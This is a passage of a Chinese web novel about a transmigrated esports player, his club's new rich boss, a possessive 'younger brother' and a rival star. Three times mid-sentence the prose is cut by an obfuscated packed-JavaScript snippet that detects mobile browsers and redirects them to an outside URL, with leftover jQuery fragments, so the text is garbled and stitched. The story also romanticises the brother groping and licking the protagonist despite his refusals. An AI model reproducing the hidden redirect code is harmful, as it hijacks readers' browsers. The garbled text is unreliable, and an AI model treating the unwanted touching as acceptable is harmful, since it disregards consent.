早在十分钟前,他就想从楼上冲下来喊这几个傻逼闭嘴。无奈祁舜的助理一直拦着,他只能眼睁睁看着家丑如破洞的内裤般飞扬在风中。
等到胖子对钟不拘出手,他拼了老命往下冲,却完全追不上祁舜那一米九的大长腿。
这下好了,BOSS大人英雄救美,他可以收拾收拾去BOSS直聘了。
正感到前程一片黑暗,经理瞟见沙发上那两个呆若木鸡的傻逼,更是气不打一出来。
经理下半张脸假笑,上半张脸怒目:
“你们几个愣着干什么,还不快点来跟小祁总打个招呼!”
听到“小祁总”三个字,黄毛和小眼镜面露惊恐。
二人顿时同样屁滚尿流,连忙小跑到经理身后,毕恭毕敬地鞠了一躬:“小祁总好!”
见祁舜英俊的脸上没有表情,黄毛自作聪明解释道:“我们几个刚才就是闹着玩呢,大家都是兄弟!打打闹闹嘛!”
他朝钟不拘挤了挤眉毛:“钟不拘,对不对?”
经理也帮腔道:“是啊是啊,我们战队气氛是很好的。二队尚且如此,一队更是亲密无间......”
听到经理这话,祁舜冷笑了一声:“那可真好,我大哥很有管理才能。”
经理的脸色顿时从铁青变成了惨绿,他突然觉得怕是用不上BOSS直聘了,可以直接去吃了么注册成为骑手。
哦不,吃了么也是祁家的产业,他只能去死了么凑合凑合了。
濒死挣扎着的经理笑得比哭难看:“我们谨记老祁总‘百尺竿头更进一步’的教诲,只盼着小祁总带我们重登巅峰再创辉煌。”
“至于大祁,祁斌先生,不得不说,从我这个战队一线管理者的角度来看,还是缺少了一些对电竞行业的深刻认知,比不上您慧眼独具追求完美......”
听着经理这套说辞,三人差不多明白了前因后果:富豪家族内部斗争,原来的老板完蛋了!
经理话音刚落,三人迫不及待你争我抢地向祁舜表衷心,他们都没上过几年学,一时间马屁乱飞。
祁舜不作回答,只是双眼半阖,依旧垂眼看向钟不拘。
嘈杂之中,他依旧沉默不语,轻咬着唇瓣,一双眼不带任何谄媚却依旧潋滟多情,略显瘦削的身姿挺拔。
祁舜缓缓道:“今晚写一份检讨,把手机里的游戏删掉,联系经理每人工资扣五千。”
钟不拘略感惊讶地抬起头,又撞进那双墨蓝色的眼睛,才发现那人的视线似乎从未离开过自己。
祁舜问:“你觉得满意吗?”
钟不拘一时无言,从方才几人的反应中,他才意识到这位就是书里BIG俱乐部的新任老板祁舜。
根据小说,这位小祁总是华国首富最小的儿子。
虽然年龄小,但却最有野心也最狠辣,毕生追求是从其他四个同父异母的姐姐和哥哥手里争权。
BIG俱乐部原是他不成器的大哥投资设立的,无奈富二代只想游戏人间,新鲜劲一过就再也没管过俱乐部。
被甩给职业经理人之后,管理权层层下沉,最终让战队经理猴子当大王,把一支电竞战队活活经营成了官场。
要想上场打比赛,靠得不只是实力,更是和经理、教练等人的层层打点。
如此任人唯亲,也不怪BIG战队连续两年掉入保级赛,成为了名副其实的弱队。
祁舜接手战队之后,他雷厉风行地裁掉了俱乐部一半的选手和工作人员,最终让BIG成为了新晋黑马。
人赠外号,祁斯克。
不过这些都是衬托主角攻裘度的背景板了,和“钟不拘”没什么关系。
毕竟他也被裁了。
刚穿书,就赶上大裁员的前夜,钟不拘和经理产生了微妙的共鸣。
不过他的焦灼情绪转瞬即逝,因为无论身在何方,他都有自信能凭借绝对的实力重登巅峰。
想到这里,钟不拘对上祁舜的目光,不卑不亢:
“这是合理的处置,至于我是否满意,并不重要。”
祁舜的唇角微不可见地勾了一下,墨蓝色的眼眸更显深沉。
钟不拘再次挪开视线,淡淡道:“请问现在我可以去训练了吗?”
......
钟不拘终于得到了五个小时的训练时间。
选手大会开在CPL(勇者之冠职业联盟华国赛区)的常规赛之后,BIG战队一如既往没能进入季后赛。
战队早早地放了假,训练室内空旷无人,只有一台孤零零的显示屏,照亮他过于精致漂亮的眉眼。
钟不拘登录了原主的账号,快速吸收着有关COW这款游戏的一切知识。
COW很大程度上脱胎于LOL,同样是5v5的moba游戏。
玩家分为上中下三路以及打野和辅助,经济来源主要是击杀小兵、野怪以及敌方英雄,目的是购买更好的装备,以便最终退掉敌方水晶。
钟不拘研究了中路英雄的技能说明,又翻看了原主的排位和训练赛记录,确认COW和LOL的英雄技能存在80%相似,游戏节奏也大致相同。
至此,钟不拘有信心在一个月内达到职业选手的水准。
这一个赛季过去,他觉得自己会有冲击CPL冠军的能力。如果团队同样给力的话。
想到这,钟不拘确实有些头疼,虽然还没见到BIG的首发选手,但从二队成员的素质来看,确实很不乐观。
想到这里,他脑海中又浮现出祁舜似笑非笑的脸孔。
他觉得祁舜对自己的印象应该不算太差,应该去和他谈谈,要求BIG再给自己一次机会吗?
钟不拘想了想,他还是不善于处理游戏之外的人际关系,索性还是留在机位上开了一局排位。
无论去留,他都会拼尽一切留在赛场,重新捧起那座奖杯。
不需要任何人垂怜,他有这个自信。
......
听着训练室里滴滴答答的按键音,祁舜凝视着电脑前单薄却挺拔的背影,瞳色深沉。
从大哥手里夺得大笔资产的控制权后,他对每项业务进行了细致的尽调。
对于BIG俱乐部,他要求经理和教练连夜整理了所有选手的资料,包括训练赛战绩、年终考核情况,以及简要的评估。
祁舜过目不忘:钟不拘,20岁,孤儿,身高178厘米,体重60公斤,作为首发选手登上过CPL两场比赛,均负。
对于钟不拘,他们的评价是:
“技术较差、训练态度不积极、队内关系不佳。”
还有一句:“私生活混乱。”
祁舜没去追问过他的私生活,毕竟他非常忙碌,BIG只是他建立商业帝国的一块小小的基石。
别说是裁员了,如果影响到大局,整个俱乐部直接扔掉也未尝不可。
毕竟连他的亲生哥哥,也是被他这样扔掉,然后踩在脚下永世
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945142|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不得超生。
更何况是一个寂寂无名的选手?
但是此刻,看着钟不拘浓密的黑发随意扎起,几缕碎发点缀在白皙如雪的颈间,随着他敲击键盘的节奏颤动。
祁舜突然很想走进去问问他,你的私生活,到底有谁参与、有多混乱呢。
刚准备敲门,崔助理就一路小跑过来:“祁......”
祁舜在自己唇间竖起一根手指。
崔助理立刻会意,指了指手表,又指了指楼上。
祁舜微微颔首,转身向大会议室方向走去。
刚走出两步,他又快速回头瞟了一眼,正看见钟不拘面前的显示器上出现大大的“Defeat(失败)”。
祁舜轻抬了下眉,转身离开。
......
傍晚时分,钟不拘经过半天的刻苦自学,终于取得了一局王者段位排位的胜利。
越是高端的场次,越讲究细节处的操作和大局观。
因此英雄技能的微妙变化都影响颇大,饶是钟不拘也需要在练习中适应。
但是仅仅几个小时,他已经能carry路人局,在对面疑似有职业选手的情况下夺得MVP。
钟不拘正准备再排一局,手机突然震动起来,又是“臭弟弟”。
钟不拘接通微信视频,少年的微笑灿烂像是此刻黄昏天边的晚星,让他吃了一下午败局的心情舒缓不少。
“哥,录制提前结束,我来接你啦!”尹宙对着镜头挥了挥手,露出酒窝和虎牙。
钟不拘这才发现,他的视频背景正是俱乐部外的花园。
“你怎么过来了?”
他活动了下有些僵硬的颈椎,一截白玉般的锁骨显得更加显眼,没注意到尹宙的喉结动了下。
尹宙眨了眨眼,满脸无辜:“哥,前几天你说的,你们比赛打完了,等我录完节目就一起回家呀。”
钟不拘愣了下,脱口而出道:“家里有电脑吗?”
尹宙皱眉:“哥你说什么,我好像没听清,不如回家再说吧。”
原主毕竟是个职业选手,钟不拘料想他就算再不务正业,回家也还是要训练的。
他平静道:“那你等我收拾一下。”
“好耶,哥!”尹宙笑得格外灿烂,好像有一条无形的尾巴在高速摇晃;
“咱家附近开了家烧烤店,我们去尝尝。”
钟不拘走出基地大门,看见尹宙正斜倚在自行车旁,雀跃着朝他挥手。
尹宙比他想象中更高,虽然长着张阳光无邪的小狗脸,但是身材却十分不错。
单肩包的背带勾勒出清晰的胸肌线条,一双长腿笔直,一看就是穿衣显瘦脱衣有肉的类型,标准的大学校草。
“哥,想我没?”像一条兴奋的金毛大狗,尹宙张开双臂,猝不及防地把他搂进怀里。
钟不拘被怀中的炽热度刺激得抖了一下,轻轻推了下他,触摸到的是一片坚硬。
他声音轻柔,像一只无意蹭上小腿的猫咪:“这样不好。”
“好嘛哥,”尹宙悻悻地松开双臂,又从背包里掏出一个头盔,递给钟不拘。
他长腿一抬跨上自行车,指了指垫上厚实坐垫的后座:“上车吧,咱们回家。”
钟不拘刚犹豫着带上头盔,尹宙就迫不及待地接过绑带,手背恰好蹭上他饱满红润,揉弄了两下。
“嘟嘟——”
就在这时,身后传来一阵洪亮的喇叭声。
钟不拘回过头,是一辆颇为气派的豪车,车身是浓郁如墨的黑色,车顶则是耀眼的银色,显得价值不菲、拒人千里。
“这么大的门开不过去?瞎子能不能不要开车。”尹宙不满。
“嘘,”钟不拘轻声道,“是新老板。”
迈巴赫后座的车窗缓缓降下,露出一双深邃的墨蓝色眼睛。他的眉眼距离很近,更显得严肃矜贵。
祁舜的目光先是描摹过钟不拘的侧脸,然后径直看向远处的夕阳,仿佛尹宙这个人不存在一样。
“我送你回家?”
明明是问句,从他嘴里说出来,却仿佛命令般不容抗拒。
5. 小鬼与老登
“这车看着是气派,坐进来有点挤哈。”尹宙抱着手臂,低声嘀咕了一句。
后座实际上相当宽敞,但同时挤下两个一米九的男人,再加上接近一米八的钟不拘,瞬间显得局促。
“先生,”崔秘书对着后视镜一笑,指了指旁边的座位:“您按照祁总的意思坐前排就好了,不然我停车您换换?”
“我难道是他的保镖吗?我不坐!”
尹宙摇头,一双长腿顺势往钟不拘腿上蹭了蹭。
“尹宙,安静。”钟不拘杏眼微阖,“说谢谢小祁总。”
一听这话,尹宙立刻嘟起嘴:“哥,你为什么不叫我宙宙了......”
钟不拘轻抬起眼皮,静静地看了他一眼。
尹宙还想辩驳些什么,但莫名从这个眼神中读出了陌生的寒意,一时间说不出话了。
感受到尹宙不安分的腿,钟不拘想要往祁舜那侧挪一挪,但祁舜此时恰到好处地把大腿打开些。
两人就这么把他夹在了中间,如何动都是尴尬。
钟不拘甚至能闻到,祁舜身上昂贵的雪松味道正和尹宙廉价的橘子香水缠斗。
最终混合成类似石楠花的气味,反复折磨着他的嗅觉。
“Freeman,”祁舜突然开口,声音平缓低沉,“你可以叫我Shawn。”
“好的,小祁总。”
钟不拘不知道祁舜为什么突然纠结起称呼,仓促应对又说错了话,顿时就尬住了。
他似乎听见一声短促的笑,紧接着低沉的男声传来:“告诉我你假期的安排。”
钟不拘想也没想:“训练。”
简单两个字好像勾起了祁舜的兴趣,钟不拘感到他高大的上身前倾了些,导致他们的大腿贴合得更加紧密。
他甚至能感受到祁舜西裤下膨起的肌肉块。
“那很好,”祁舜语气轻松了些:
“我准备把假期从一个月缩短到一周,大家提早来俱乐部做考核,很开心没有打扰你的安排。”
“开心个屁,”尹宙忍无可忍,嘴角呲出虎牙:
“难道这没有违反劳动法吗?不怕有人举报吗?”
钟不拘伸手捏了一把尹宙的大腿,结果手指却被对方牢牢攥住,动弹不得。
祁舜倒是波澜不惊,哄小狗般安抚道:
“放心,我咨询过全球最好的合规团队和劳动法律师,他们都说没有问题。”
不待尹宙还口,祁舜反问道:“我刚从洛杉矶回来不久,听好莱坞的朋友说,国内的娱乐行业从业者,往往很难维权。”
他的语气带着点嘲讽:“是不是他们有点落伍了?”
尹宙被他气得发昏,还没想好怎么反驳,祁舜又问:“敢问阁下在哪家娱乐公司高就?”
尹宙的嘴唇都快被咬破了,硬生生挤出“奇艺星娱”几个字。
祁舜:“耳熟?”
崔秘书立刻开口道:“祁总,这是二小姐的公司。”
祁舜哂了一声:“二姐现在这么知法守法了么。”
他又挤了下钟不拘,语气志得意满:“等以后拿到她的产业,我可要改改自己的脾气。”
崔秘书不吱声了。
或许是祁舜随口说出的豪门秘辛过于劲爆,一路上再也没有人开口。
只有钟不拘觉得大腿酸软,手指也被尹宙捏得发麻,弥散鼻腔的石楠花味让他发晕。
所幸迈巴赫终于驶入了一个破旧的小区。
小区似乎很少有这般豪车造访,不少过路人掏出手机拍照。
崔秘书把车平稳停在单元楼下,钟不拘迫不及待下车,深吸了两大口新鲜空气,才驱散呕吐的冲动。
等尹宙从后备箱取出自行车,迈巴赫几乎毫不犹豫地加油便走,像是嫌弃环境太脏的贵妇。
扬长而去的豪车里,崔秘书隔着后视镜揣摩了下祁舜的情绪,这才开口:
“祁总,有些话......还是不宜在外人面前说。”
他知道老板一向心机深沉缜密,每句话都点到为止,如此才能回国一年,就把大公子斗得人仰马翻。
怎么今天反倒像是孔雀开屏一样,恨不得把家底抖露清楚?
祁舜没有回答,靠在宽大的真皮座椅上假寐。
......
“哥!你们那个新老板,人模狗样的真不是东西!”
烧烤店里,尹宙似乎放弃了爱豆的身材管理,豪迈地灌了一大口啤酒,嗓门大到邻桌频频回首。
钟不拘食欲不佳,吃了一小口土豆:“老板不都是这样?”
“哥!我真想不通你为什么要坐那个破车?是我的后座不够舒服吗?”
尹宙又灌了一口啤酒,痛心疾首道:“我知道你喜欢有钱男人,但是这个什么祁总,明显就是要羞辱咱们!”
听到“喜欢有钱男人”,周围的食客纷纷投来打量的眼神。
只见桌上的长发男人漂亮得雌雄莫辨,他神情淡淡,即使在这种苍蝇馆子里,也细嚼慢咽得十分优雅好看。
整个人就像是古代流入百姓家的昂贵瓷器,带着股格格不入的美。
这么好看,也该配有钱男人。
食客们似乎在沉默间达成共识,又默默把头转了回去。
钟不拘平静道:“我只是想快点回家训练,开车比骑车快。”
“训练训练又是训练!”尹宙彻底崩溃了,他真怀疑他那美貌而无脑的哥哥被夺舍了。
“我们家就没有电脑,你怎么训练?”
听到没有电脑,钟不拘脸上第一次出现惊讶的神色,但为了不暴露穿书的事实,他很快又憋了回去。
他提议道:“那我们明天去买一台吧。”
尹宙无奈:“难道那个狗大户给你加薪了?”
钟不拘摇头。
尹宙叹了口气:“这个月交了房租和这顿饭钱,我身上还剩六百。节目组说拍摄费要播出后分批支付,娱乐业从业者真是没有人权......”
越说越气,他眼带泪花,握紧拳头感慨了一句:“爹的,莫欺少年穷!”
钟不拘默默掏出原主的手机,检查了一遍各类账户的余额。
还剩250。
他真的有点崩溃了。
“没事,”钟不拘也抿了一口啤酒压惊,深吸一口气,“我可以去网吧。”
吃完烧烤,钟不拘跟着尹宙回到租住的老破小。
这栋楼太老了,没有电梯,他只能强行爬上又陡又窄的楼梯,等终于到了十层,已经气喘吁吁。
运动让他白皙的脸上血色充盈,几缕发梢上还挂着汗水,更衬得他像朵盛开在贫瘠角落的名贵花卉。
汗水把他的队服洇湿,能隐隐看到他笔直的锁骨,瘦削却不干瘪的胸口剧烈波动,牵动着过于纤细的腰肢。
钟不拘身上一直有淡而冷冽的香味,此刻在狭小的楼道里更加浓郁。
正要掏出钥匙开门的尹宙,看到这一幕,喉结重重地向下滚了一下。
他把自己的背心下摆往下拽了拽,突然有点不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945143|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
敢掏钥匙。
他真怕自己掏出点别的什么。
“哥,”尹宙舔了下有点干燥的嘴唇,“你先等一下,我收拾下屋子你再进去。”
钟不拘忙着大喘气,没说话。
等尹宙收拾好屋子邀请他进门,钟不拘看见狭小的一居室确实还算整洁温馨。
房间两侧分别摆着两张窄窄的木床,中间的走道上放着一个小床头柜,便携式衣柜搭在厕所门口,空间利用率极高。
钟不拘看左边那张床上的衣服像是他的尺码,便径直走过去坐下。
谁料刚一坐下,他就听见嘎吱一声,床板似乎从中间裂开了。
“哥,小心!”
尹宙反应很快,几乎是在床塌陷的瞬间抱住了他,这才让他的屁股免于一场灾难。
看着塌陷的窄床,再回想起自己账户的余额,钟不拘第一次感受到了作为穿书者的人生多艰。
一贯不怎么在意外物的他,也突然怀念起八十万一场的常规赛了。
反倒是今日表现得幼稚刁蛮的尹宙,此刻相当成熟。
他蹲下身,三两下就帮钟不拘收拾好了床单和被子,露出底下破碎的床板。
“哥,这床没法睡了,现在也太晚来不及买新的,”尹宙说着把钟不拘的枕头放在了自己的旁边:
“要不今晚就和我凑合一下吧。”
钟不拘想起他在视频里短暂的阴郁,心头有些发怵,但又想到他在祁舜面前的少年气盛,又强行把顾虑打消了。
“好吧。”钟不拘理了下耳边的碎发,这是他紧张时的习惯动作。
今晚肯定是没办法训练了,钟不拘只想着早些睡下,明早再去找附近的网吧。
只是弟弟而已,有什么好怕呢。
他在便携式衣柜里翻了半天,却发现原主的常服都是粉蓝或鹅黄的高调颜色,都是很显身材的款式,有几件甚至背后还有丝带。
他是一个保守的、觉得自己应该是直男的人。
这些花蝴蝶似的衣服,他真的接受不了,也不理解原主怎么把工资都浪费在这些东西上,也不买台电脑。
“尹宙,”钟不拘眨了眨眼,有点不好意思,“我今晚能穿你的衣服吗?”
十分钟后,钟不拘穿着一件宽松的白色T恤,下摆刚好遮住臀部,配上一条平角男士短裤,刚好露出一截雪白而修长的腿。
他几乎没有汗毛,膝盖处透出隐隐的粉色。
虽然从小看到大,但尹宙莫名觉得,他哥似乎变得更迷人了。
夺舍还有这种作用吗?尹宙胡思乱想着。
“哥,我困了,先睡了。”
难以压抑愈发沉重的呼吸,尹宙把自己的脑袋埋进枕头里,不去看钟不拘。
屋里的灯光终于熄灭了,尹宙听见脚步声停在自己床头。
然后一个极为白皙柔软,散发着冷冽香气的身体,侧身挤在自己身边。
那团柔软的、饱满的软肉,因为床实在太窄,几乎是紧贴在身前。
尹宙的感官都被放大到极致,他甚至能感觉到哥哥的发丝蹭过自己的耳朵和鼻尖,痒痒的。
这一天经历了穿书等等超自然事件,钟不拘也十分疲惫。
但正当他朦胧地坠入梦乡之际,却感到有什么异常坚硬的东西抵在腰间,很不舒服。
他刚想回过手去摸一下是什么东西,一只手有力地扣住了他的手腕。
“哥,是我忘记解皮带了。睡吧。”
尹宙在他耳边说道,声音异常沉闷。
6. 老公
穿书后的第一晚,钟不拘的梦境格外混乱。
梦里他似乎变成了游戏里的野怪,被各路英雄揉捏搓打却不能还手。
有平A冲撞他的腰肢,有打野持续不断的绕背攻击,也有漫无边际的魔法脉冲抚过他的脸。
混乱的梦境中,他睡得不算很深,以至于身后尹宙每次起夜,他也有所感觉。
年纪这么小,肾功能就不太好。
钟不拘朦胧地想着第二天要劝这个捡来的弟弟,即使在娱乐圈也要洁身自好。
等到天蒙蒙亮,钟不拘醒得很早。
他急着要去楼下的网吧训练,但尹宙就像只熊似的搂住他。
接近一米九的男人,虽然身材偏瘦,但还是很有分量,让钟不拘动弹不得。
隐隐觉得胸口有些刺痛,他低头一看,尹宙的左手竟然已经探到了T恤之下,把他胸前的一点揉得红肿。
虽然男人之间做不了什么,但钟不拘毕竟当了两辈子处男,此时相当尴尬。
“尹宙,”他忍无可忍地开口,“松开。”
他把那肆无忌惮地揉捏着他胸口的手拽开。
“哥哥……”尹宙在他后颈吐着热气,烫得他有些痒,“再睡一会吧。”
“我要训练。”钟不拘推了推他缠在身上的长腿,带着冷香的发梢搔过尹宙的鼻尖。
“哥,你好香。”尹宙故意耍赖似的,恋恋不舍地又把腿缠紧了些。
钟不拘感觉尹宙的皮带又在顶自己了。
这孩子上了这么多趟厕所,就不能记得解开皮带吗?
钟不拘轻叹口气,继续和尹宙拉扯,好不容易才堪堪坐起来。
经过这一番折腾,尹宙也迷蒙地睁开眼。
钟不拘不得不承认,尹宙长得确实不错,一双眼睛完全睁开时又大又亮,像是小狗。
而此刻微微睁开一点,配上凌乱的头发和胸口结实的肌肉线条,倒像是一头潜伏的狼了。
这头狼正盯着自己。
钟不拘后背又泛起熟悉的寒意,他顺着尹宙的视线看去,他的窄领T恤在一番拉扯后凌乱不堪,肩上裘度的咬痕露出一角。
在白皙如绸缎的皮肤上,显得狰狞又引人遐想。
“哥,”尹宙的嗓子有点哑,“你和他做了吗?”
没想到他会这么直接,钟不拘顿时语塞,抬手理了理肩头的长发,挡住野兽的齿痕。
“没有,我又不喜欢男人。”
钟不拘轻咬了下嘴唇,暗室内的光线好像都被吸进了他的杏眼,波光潋滟让人移不开眼。
“哦,哥哥不喜欢男人。”尹宙斜躺在床上,闻言玩味地舔了舔嘴唇,把钟不拘的话重复了一遍。
他并不是没偷看过哥哥对着某些视频自我疏解的样子。
哥哥不仅喜欢男人,还喜欢肌肉健壮但不夸张的体型,还喜欢被抱起来弄的姿势。
不过,他昨晚趁哥哥睡着检查了一下,他们确实没更进一步。
不然他可不会放过哥哥。
钟不拘见他不再追究,这就要下床去:“你继续睡吧,我去网吧。”
“等等哥,”尹宙拽住他的T恤下摆,“我帮你消消毒。”
钟不拘还没反应过来他要怎么消毒,尹宙已经起身,居高临下地压在他的肩头。
“别这样。”钟不拘话还没说完,就赶到一片炽热又柔软轻轻扫过自己颈间,湿漉漉的。
“怎么真像小狗一样?”钟不拘忍无可忍,推开了舔得投入的尹宙。
尹宙缓缓收回虎牙下的一点舌尖,一脸无辜:“哥哥,我就是你的小狗呀。”
“你是有了别的狼狗,不喜欢宙宙了吗?”
看着尹宙那幅无邪又无辜的样子,一双眼睛水灵灵的像要哭出来,钟不拘也说不出什么重话:
“别多想,你是我弟弟。”
“哥,我就知道你还是最喜欢宙宙。”尹宙突然笑起来,小虎牙衬得他阳光又可爱。
“那我先去训练了,午饭不用等我。”钟不拘已经收拾好自己,准备出门了。
“哥。”
他刚推开生锈的铁门,又被尹宙叫住,略带无奈地回过头。
尹宙被他回眸的样子美得心跳都漏了一拍。
不知怎的,以前花枝招展满脸媚笑得哥哥,远不如现在冷艳又敷衍的哥哥迷人。
“哥,三天后我的综艺就要播出了,那天不要训练,和我一起看好不好?”
尹宙像一只祈求主人陪他玩的金毛。
钟不拘犹豫一下,轻叹道:“好吧。”
……
楼下的网吧收费10块钱一个小时,钟不拘就算不吃不喝,这周也只能训练25小时。
作为职业选手,他认为每天至少要保证8小时训练,这是远远不够的。
在机位落座后,钟不拘先登录了原主的训练号。
原主虽然心不在电竞,但好在各类账户信息都在手机备忘录记得清晰详细。
他扫过备忘录里的各类账户,训练号、比赛号、银行账户……直播账户。
钟不拘迫切地需要挣钱,因此直播也是一个选择。
钟不拘登录训练号后,顺便也登录了逗虾平台的直播账号。
原主的账号虽有职业选手认证,但粉丝竟然只有一千来人,往期直播的人气也低得可怜。
最让钟不拘无语的,是作为直播账户头像的自拍照。
照片里原主一缕长发含在唇间,对着镜头媚眼如丝,上衣领口低得他不忍直视。
钟不拘把头像删除,然后换上相册里的一只小土狗照片,就这样开播了。
网吧环境不好,背景声嘈杂,他没开话筒和镜头,只是投屏了COW的游戏页面。
就这样,钟不拘又沉浸在训练中难以自拔,他快速掌握着游戏里的中单英雄,同时也尽力熟悉其他英雄的技能和打法。
他的游戏天赋卓绝,很快把原主的排位赛胜率拉高了5%,而且几乎每一局都是FMVP。
信箱装满队友和对手的好友邀请,钟不拘全部点了“忽略”。
三个小时过去,钟不拘这才想起切换到直播页面,他没有粉丝基础,不露脸也不说话,因此对热度也没什么期待。
然而,刚一打开直播界面,一个夸张到光污染的心形气球就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945144|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从屏幕上炸开,紧接着是密集到让人眼花的弹幕。
【跟着Lock来的,有没有姐妹知道这是谁?】
【哇起手就是五万块,还是让你们竞男赚太多了】
【Lock不是从来不打赏队友之外的人么,让我来看看这是何方妖孽勾引我老公=。=】
【这人好拽啊,裘神的礼物都不谢的】
钟不拘点开礼物清单,榜一赫然是弹幕里反复提及的Lock,裘度。
距离打赏时间已经过去了一个小时,在弹幕裘度粉丝的催促下,他点击了系统自动生成的感谢弹幕:
【哇咔咔,感谢VHG-Lock打赏的[挚爱之心],主播爱你哟~】
感谢弹幕刚一发出,裘度的粉丝又沸腾起来:
【姐妹们我查到了,这是BIG的一个替补~】
【我想起来了,他是这赛季BIG对VHG那场的中单,两局就被换下去了】
【赛场遇裘神腿软手抖送人头,直播间装逼惜字如金回模版[捂脸笑]】
【太好了是文豪我们有救了!】
钟不拘在电竞圈浮沉十年,这种弹幕的攻击力还是太弱,他一目十行,内心不起波澜。
正准备继续排位,一排带着刺眼特效的弹幕被自动置顶在屏幕中央:
VHG-Lock:【下局一起?】
钟不拘的游戏界面也同时弹出排位邀请,原主还特意给裘度的账号做了备注。
备注内容是【老公】。
钟不拘有点汗流浃背了。
虽然知道原主恋爱脑病入膏肓,但钟不拘真没想到能丧心病狂到这种程度。
他立刻关闭直播软件,握着鼠标的手犹豫两秒,还是接受了裘度的排位邀请。
刚进入排位队列,耳机那头就传来裘度低沉的声音:“直播怎么关了?”
他的尾调微微上扬,听起来像是在笑,和昨天酒店床上的歇斯底里判若两人。
钟不拘的唇抿成一条直线,耳侧的长发被他抓乱了些,打字道:“点错了。”
裘度轻笑了两声:“昨天的事,不和我道个歉?”
钟不拘没有回话,他忙着研究队友的英雄组合,最后锁定了“虚空舞姬·赛琳娜”,这是一个高爆发法刺,像是lol中劫和阿狸的混合体,能弥补攻击力不足的缺点。
看他锁定赛琳娜,裘度声音含笑:“这么认真?”
钟不拘打字:“不然呢。”
裘度倒也配合,选出一手塔罗斯,这个打野英雄位移灵活而且有控,在职业赛场也是赛琳娜的黄金搭档。
等待游戏载入,裘度旧事重提:“不给我道个歉?”
钟不拘打字:“我没错。”
裘度沉默了两秒,语气带着无奈:“那总该谢谢我的礼物吧,只发个模板可太不真诚了。”
钟不拘神色淡淡:“怎么谢?”
五万块钱的礼物固然解了燃眉之急,但在他穿书前,也就是陪粉丝打个福利局的门槛而已,想让他感激涕零,倒也不至于。
裘度嗓音低沉,语气带着点报复的戏谑:“敢不敢读一遍给我的备注。”
7. 气急败坏
此刻的直播画面里,男人堪称剑眉星目,窄刃般的眉毛微蹙,薄唇抿成一条直线,配上他锋利的面部线条,显得不怒自威、拒人千里。
就在一小时前,裘度随手点开自己忠实的“舔狗”的直播间,饶有兴致地观赏了一番对方不算精致的操作,然后大手一挥,送了个五万块的礼物。
五万块对他来说,不过是一天的工资。
但他知道,对于钟不拘这种小替补,这可是足足两个月的薪水。
应该会感激涕零吧?
裘度不禁想象起钟不拘的杏眼晕着泪光恳求自己的样子,莫名兴奋。
“我靠,裘哥,你是不是打赏错人了?”
看着裘度屏幕上炸开的心形气球,VHG战队首发中单林小双,也是裘度知名的狗腿,不禁瞪大了双眼。
“嗯?”裘度挑了下眉,唇角难得有笑意,“没错啊。”
林小双仿佛见了鬼,小心翼翼把裘度拉到一旁,躲开直播镜头:“哥,你不是说对那个小主播感兴趣吗?还让我帮你订了花,怎么又......”
裘度懒洋洋地靠在电竞椅上,勾起唇角:“昨晚尝了尝,还是钟不拘更够味。”
什么叫尝了尝?什么叫更够味?
林小双两眼一黑,仿佛已经看见裘度和郁寻以及钟不拘三人颠鸾倒凤不知天地为何物的场景:
“联盟最近严查不正当男女关系,你就算是男男关系,也要注意点吧!”
裘度非但不慌,反而一脸回味:“钟不拘自己爬上我的床,我尝尝,怎么就不正当了?”
至少不是多人运动,林小双略松了口气:
“他之前狗皮膏药似得贴着你,被你睡了不得高兴得上天?怎么你还给上钱了,让他连吃带拿啊。”
裘度舔了下嘴唇,回想起钟不拘漂亮又抗拒的脸以及白皙的后颈,一巴掌拍在林小双脑袋上:
“老子想天天睡他,你懂什么?”
林小双知道裘度的臭脾气,立刻闭上嘴,躲回屏幕前直播去了。
裘度一面打着排位,一面心不在焉地切屏看钟不拘的直播间。
足足十分钟,这家伙竟然还没有屁滚尿流地来感谢自己?
裘度倍感不忿,又不能当着粉丝发作,只能在排位里追着路人玩家一通爆锤。队友埋怨他抢了经济,他直接关了队内语音。
就这样,裘度又等了十分钟,然后是二十分钟,紧接着是半个小时。
可怜的路人玩家们被锤得满地找头,林小双看他青筋迸漏的双手,生怕他一拳把键盘敲裂,这定制键盘可是要几十万。
就在键盘危在旦夕之时,裘度终于看见钟不拘的感谢弹幕,虽然只是一条敷衍的模板,他还是感觉到一丝莫名的快慰。
看着他诡异地抬起的嘴角,林小双确认自己是见鬼了。
而接下来发生的一切,则让林小双直接下单火盆,要求顺丰加急明天必须送到。
当着他一直小心维系着的老婆粉们的面,裘度一反常态地温柔,对着那个舔狗问道:
“敢不敢读一遍给我的备注?”
